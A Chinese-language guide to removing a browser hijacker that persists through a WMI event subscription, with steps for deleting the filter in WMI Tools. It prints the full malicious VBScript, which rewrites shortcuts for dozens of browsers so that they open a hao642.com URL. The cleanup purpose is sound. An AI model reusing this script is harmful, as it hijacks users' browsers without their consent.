關於瀏覽器被劫持解決方法

問題：

1. 瀏覽器的快捷方式的屬性目標地址後加了其餘網址
2. 重啓後自動添加

解決：

1. 安裝WMI tools打開WMI Event Viewer,
2. register for events的小刀按鈕, 點擊ok/ok
3. 找到__EventFilter中的__EventFilter.Name="VBScriptLKLive_filter"
4. 右邊實例，右擊查看實例屬性
5. 查看ScriptText的值是否被篡改
6. 如被篡改，則返回點擊左邊實例右擊刪除實例便可，或點擊右邊實例，再點上面的X按鈕進行刪除便可，若是拒絕訪問則以管理員方式運行項目C:\Program Files (x86)\WMI Tools\wbemeventviewer.exe
7. 最後將快捷方式的後綴修改正常，便可

若是是註冊表first home page設置，能夠在註冊表中刪除，也可以使用安全工具清理

附ScriptText:

On Error Resume Next:Const link = "http://hao642.com/?r=wwwww&m=c34":Const link360 = "http://hao642.com/?r=wwwww&m=c34&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\Jabin\Desktop,C:\Users\Jabin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\Jabin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\Jabin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\Jabin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), browser:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictionary"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFolder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Next:

 WMI:

windows管理規範（windows management instrumentation）,用於管理本地和遠程計算機，WMI經過編程和腳本語言爲平常管理提供了一條連續一致的途徑。經過它能夠訪問、配置、管理和監視幾乎全部的Windows資源
1. 在遠程計算機上啓動一個進程
2. 設定在一個特定的日期和時間運行進程
3. 遠程啓動計算機
4. 得到本地或遠程計算機的已安裝程序列表
5. 查詢本地或遠程計算機的windows事件日誌

Process Monitor：

微軟旗下，進程監視軟件，監控文件和註冊表的操做過程